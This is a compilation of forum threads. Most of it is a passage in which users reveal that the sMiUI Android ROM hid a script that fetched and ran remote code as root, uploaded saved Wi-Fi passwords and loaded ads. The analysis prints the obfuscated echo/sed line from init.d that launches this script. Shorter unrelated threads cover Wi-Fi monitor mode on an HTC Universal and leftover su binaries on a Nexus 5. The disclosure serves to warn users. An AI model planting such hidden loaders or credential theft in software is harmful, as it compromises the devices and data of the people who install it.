Hi everyone.

After all the commotion about Xiaomi locking the bootloader I'd like to know if updating this ROM will lock the bootloader.

I'm currently running christmas day release (5.12.24) and I'km wondering if I can update without issues.

Furthermore, I noticed that in first ROM I flashed around october I could update directly through the Update App but lately the only way was through a "custom recovery".

I'm just curious about this behaviour. Anybody knows the reason?

Thanks in advance.

Ok, i find what and deinstall. Why is that like a option if its not working as i read from last year.

It will be nice to have that in rom
[Redmi Note 2 General] KURT.Beadles:
Best ROM so far that I used. I like the CM 12 also but it was draining my battery so quickly. Although I'm not so fond of MIUI at all I installed Apex launcher and. The battery on this rom is so far the best.

Normal daily use, using Wi-Fi, playing games and surfing. No reboots, baterry life seems to be better than on stock MIUI

[Redmi Note 2 General] Foxlife:
The latest one - P51 modem. On the very same modem AOSP rom is working flawlessly wit the Bluetooth
[Redmi Note 2 General] DarthJabba9:
That should work fine - but much depends on how different parts of a ROM interoperate. You might want to try p37, p48, or p52.

[Redmi Note 2 General] peter232:
This firmware is malware.

This firmware is malware.

At least it downloads ads. But also it allows the author to take control on your phone.

Just see files /system/bin/api and /system/bin/apiget (also in zip in META-INF/com/google/android/sMiUI-kitchen/tmp/system/bin/).

Scripts from /system/etc/init.d are run at system start. There is a script "01sMIUI_optimizations". It contains a line

/system/bin/sh `echo "binajkdpjni%usr" | sed 's!^\(...\)\(.\)...\(.\)..\(i\).\(...\)$!/\5/\1/\2\3\4!g'`

echo+sed make string "/system/bin/api" and finally the command is

/system/bin/sh /system/bin/api

So it just runs "/system/bin/api". And that script does many bad actions, for example:

- loads new version of the script from https://smiui.net/api and saves it to the system. The author can place there any code and the code will be executed on your phone with root rights!

- it uploads the content of the file "/data/misc/wifi/wpa_supplicant.conf" (your Wi-Fi passwords) to https://smiui.net/api1.php

- it loads some ads (functions func_PROP, func_REV, func_TOTAL) in the background. Not only when you visit smiui.net, but in any time, constantly (when it receives "START" from their server)!

- there is also very very bad function func_SRV (+func_FILES), but it is commented (does not run). It makes your phone a part of the botnet! It loads some binaries (they do not exists for now) and looks like they start some tunnel/proxy on the phone.
[Redmi Note 2 General] slumslayer:
Thanks for the warning. I've checked those files and can confirm what [MENTION=7581916]peter232[/MENTION] said.

Stay away from this rom!

EDIT:

Here is the content of the file /system/bin/api : http://pastebin.com/LQqjbcqF

You can see starting line 500 a function that rename your host file (in case you use it to block ads), then request an ad (with some requests back and forth between the ads portal and the smiui site so that the ads server think the request comes from the smiui website), then put back your host file.

This function gets called in an infinite loop (line 599)
[Redmi Note 2 General] :
I am totally speachless ... This is the result of accepting help from a stranger who seemed to be just a nice person ...

I developed sMiUI Roms from late 2014, always trying to create something great for the community. I spent so many hours of coding, creating the kitchen, all by myself ...

In 2016 I found someone (John) to help me and after some time I granted him access to all the servers and accounts, just because I couldnt stand it anymore all allone.

Turned out that this was a big mistake . . .

I immediately closed the website until I have researched all his "work" ... On first sight I can say, it seems that on the backend most of his **** did not work. I recommend you to delete /system/bin/api with a root explorer App or completely change your ROM. Flash xiaomi.eu ROM, its great!

Thanks to the guys who found it..

I have to sleep over that, cant believe what just happened with all the work from past 2 years.

EDIT:

I literally spent the whole night in cleaning that **** out of my build environment and the ROM.

I contacted John, but of course, he is not answering. . . Sure, he will never ever get any access to the server again . . .

It seems to be true, he tried to invisibly click some ads and get wifi passwords, but luckily he sucks at coding and neither the ads worked correct nor any of our passwords have been saved into the database.

I removed all the contact points he made on our server.

I cleaned the ROM and uploaded latest version to the kitchen which should be back online soon.

All previous versions have been removed!

SOLUTION :

-Download latst ROM from kitchen.

ALTERNATIVE:

-Download Root Explorer App and delete the following Files "/system/bin/api" "/system/bin/apiget", then reboot your phone. Now you´re safe!

I cannot accept closing all my work because one idiot tried some fraudental **** which resulted in a big fail. World seems to be a bad place . . .

[Redmi Note 2 General] John S.:
Yes Sebsch, Hold on with your fantastic Roms please.

And..i am not the "bad" John, only a User from Bavaria [emoji6]
[Redmi Note 2 General] rob46os:
Hi Sebsch, as the previous users, please keep up the excellent work with your Kitchen!

A little mistake in "evaluation" (faith in Humanity not restored... not cool John...) cannot ruin your Smiui.

I am an avid user, especially for the fantastic battery life with all xiaomi service removed.

Now, just a clarification: I just checked with Root Explorer, and on KENZO with Smiui 6.8.11, there is no trace of those 2 files (api & apiget)...

so the question is: Is it correct to assume that in this version the 2 malicious files were absent? Or can they be in other locations?

Because I really like this version so far, great stability and exceptional battery life, so I really don't want to change!
[Redmi Note 2 General] John S.:
On my Redmi 2 TD with Smiui 6.5.5, the 2 files are also not in the System, only in the downloaded ROM zip file.

I remember that CM Security showed me the MiBrowser as Malware, so i deinstalled this Browser. It was not so easy because the MiBrowser installed itself the next 2 or 3 restarts.
[Redmi Note 2 General] Matt17BR:
[MENTION=4438984]T3sla[/MENTION], must be the JohnDizzle guy that posts changelogs at every release on the smiui.net site?

Id be very wary of using any important banking apps on this
[Redmi Note 2 General] vjeltz:
I installed this ROM as soon as I bought my RN2 and I've been happy about it. Unfortunately, this hack has badly damaged my trust relation with sMiUI. I really think that Sebsch should put an effort in clarifying the issues mentioned by colemanuk. Without such clarification, many sMiUI users will have no choice but to reluctantly switch to a different ROM.
[Redmi Note 2 General] 5003006:
Thanks for the work. sMIUI - the best !!!
[Redmi Note 2 General] vjeltz:
I switched to xiaomi.eu. Can't trust sMiUI anymore.
[Redmi Note 2 General] darko150:
I do not believe that this was done by some unknown John.

Sebsch 1991 nor now does not give complete and honest information. sMiui never more on my phone ...
[Redmi Note 2 General] MaSuli:
Colemanuk and Vjeitz sounds so right and too less Information from sebsch...

I will change to xiaomi.eu ! What I have to do? Is a dirty flash with twrp possible? Is anything else to do? I come from decuro to smiui and did not have anything to do with xiaomi.eu yet..... Can someone help?

Martin (MiNote 64 GB)
[Redmi Note 2 General] Dr Grato:
U got twrp? Just clean flash it. Wipe cache/dalvik data system then flash the eu rom. If got error, just reflash again.
[Redmi Note 2 General] marc.com:
I like his work, continuous trust in you, an error has any.
[Redmi Note 2 General] MaSuli:
Yes, I use twrp 3.0. Is it really necessary to wipe data too? It took so much time to install everything again. Is a dirty flash of xiaomi.eu over smiui not possible?

Thanks for your reply....
[Redmi Note 2 General] DarthJabba9:
In my view, you

will

get mega problems with dirty flashing, unless the xiami.eu version that you are flashing is exactly the same base as smiui. For example, if both are based on 6.8.25, then dirty flashing

may

be possible.
[Redmi Note 2 General] vjeltz:
I did a dirty flash of xiaomi.eu_multi_HMNote2_6.8.18_v8-5.0 over sMiUI_v8_hermes_6.8.18_1JAWGC and it worked no problem :)

BTW, kudos to [MENTION=7581916]peter232[/MENTION] for exposing the hack! You did a great job man! :good:
[Redmi Note 2 General] rajperth:
Hi everyone. This is going to be an embarrassing question I'm sure but I'm completely confused. Is it not the case that one key benefit of using sMiui is so you can cut all ties with the Xiaomi servers?

Reason I ask is because when I install CM based ROMs on my Redmi note 2, they run fine. No Xiaomi servers etc. I bought the phone second hand and someone has activated/linked an account to this phone.

But even deselecting all of the 'Mi' parts when cooking the ROM results in the activate block. Now whilst this ultimately it's OK because I can use CM on this phone, it made me wonder about sMiui more generally.

I have a new Redmi Note 3 as does my girlfriend. Worst both are respectively registered to each of us, I want MIUI 8 on both but don't want any link to Xiaomi/China servers. I actually intend to decouple the phones to our Mi accounts.

Is there actually any way to get a clean install of MIUI with NO link to Chinese servers or apps?

Thanks for listening to my rant and thanks in advance for your assistance. Yes I've searched and read widely which is why I thought sMiui was way too go because I know Xiaomi.eu still stays linked although it does remove some of the apps...

Cheers,

Raj

Ummm, can anyone understand or explain why "JohnD1zzl3" is still able to post updates on the sMIUI ROM-Kitchen website if he supposedly trojaned the source code, and sebsch1991 supposedly kicked him off and cleaned everything out??? This problem happened last month, and sebsch1991 had one single posting about it with few details, and many follow on questions from users. But "JohnD1zzl3" is still able to post??? I am talking about a thread titled "MiUI impoved Boot.img *unlocked,init.d*" that was posted just a couple of days ago on 7 Sept 2016. Link to it is http://smiui.net/index.php/2016/09/07/miui-impoved-boot-img-unlocked-initd/.

sebsch1991, we'd sure like to hear some more details--can you fill us in on what has happened or is happening??? Thanks!

---------- Post added at 09:10 PM ---------- Previous post was at 09:03 PM ----------

I'm don't want to be cynical, but I was kind of peeved to start seeing the pop-unders on the SMiUI ROM-Kitchen website so sebsch1991 is clearly interested in trying to get some return on investment for the time he has dedicated. No problem--whether a developer works in proprietary or open source software, he/she clearly has a right to make a living. But given that "JohnD1zzl3" is still posting three weeks after the trojan problem was first discovered, and sebsch1991 has provided very few details, I certainly feel less confident about sMiUI than before.

---------- Post added at 09:20 PM ---------- Previous post was at 09:10 PM ----------

Oh forget it, my screwup! The date on the threat at the sMiUI website is for 7 Sept, but this is just because another user posted two days ago. The last posting there by "JohnD1zzl3" seems to be from about a month ago.

[JASJAR, XDA Exec, MDA Pro General] galaxyranger:
Hi out there, am I able to get monitor mode to work on HTC Universal? I still have no device but i'm thinking about to buy one Universal or Zaurus C1000. What I need is monitor mode for penetration testing. If injection is available, it's nice but not a "must have". I will use Linux on the Universal, to make it paly together with the rest of my annoying grey boxes. If the integrated WIFI does not, does anyone know if monitor mode works with one of these sdio wifi cards? Or is there another way, to stick external wifi devices to the Universal (maybe usb or cf)?

On wiki there is written, that the Universal uses the tnetw1100bg wifi chipset.

I found this one on net:

http://www.rootr.net/man/man/acx/4

Do I understand this right, that, if i'm using Linux with acx-driver, monitor mode will be available to the Universal?
[JASJAR, XDA Exec, MDA Pro General] onlineemails:
very very interesting can someone test it?:rolleyes: :cool:
[JASJAR, XDA Exec, MDA Pro General] spicypixel:
Linux on the uni doesnt have SDIO and unlikely to have it for a while due to driver implimentation legal issues. hope this helps.
[JASJAR, XDA Exec, MDA Pro General] onlineemails:
why do we need sdio wifi card,cant we use universal onboard wifi?
[JASJAR, XDA Exec, MDA Pro General] spicypixel:
Well SDIO cards were mentioned, just ruling them out at this stage. ;)
[JASJAR, XDA Exec, MDA Pro General] galaxyranger:
SDIO was just an idea if Universals onboard wifi doesn't work. but due to the link i've been posting, i still hope, it will work (not for injection, but monitor mode will). I hope someone will test it.
[JASJAR, XDA Exec, MDA Pro General] OllieD:
You Can Monitor And Inject With Linux On Universal Using ACX Kernel Module And AIRCRACK-NG Toolset.

[Nexus 5 Q&A, Help & Troubleshooting] lafayette84:
Hi,

I rooted my phone before upgrading to Lollipop back in the day and as a result I was left with a non-rooted phone with traces of root (annoying for apps that check that to grant usage).

I effectively still have a couple of su binaries and tools in /system/xbin, what I'm wondering is:

how could these binaries have survived to multiple OTA updates (I'm now running 6.0), as I thought everything except /data would get wiped and reflashed after every update?
[Nexus 5 Q&A, Help & Troubleshooting] beekay201:
I don't think an OTA formats partitions (like /system), it just modifies files/folders. It knows what to update/overwrite/patch, that's why if we modify a file that's going to be updated by the OTA, it will no longer be the exact file and thus the OTA will fail.

For files that have been placed there by the user, OTA doesnt know about them.
[Nexus 5 Q&A, Help & Troubleshooting] lafayette84:
Hi,

thanks for the answer. It makes sense now. I guess I'll have to unlock the bootloader to be able to get rid of those files.

PS: if the su binary is effectively there, why SuperSU exits immediately complaining there's no binary? The phone is not rooted, but the binary is there.
[Nexus 5 Q&A, Help & Troubleshooting] beekay201:
Binary needs to be updated to work with M+root on M requires kernel support

Thanks for posting this. I'm on stock rom and Netflix is working - I won't be flashing anytime soon (although I really appreciate the hard work that is put in).

My one trouble is the GetFlix app won't install from google play store. I might try and sideload it later.
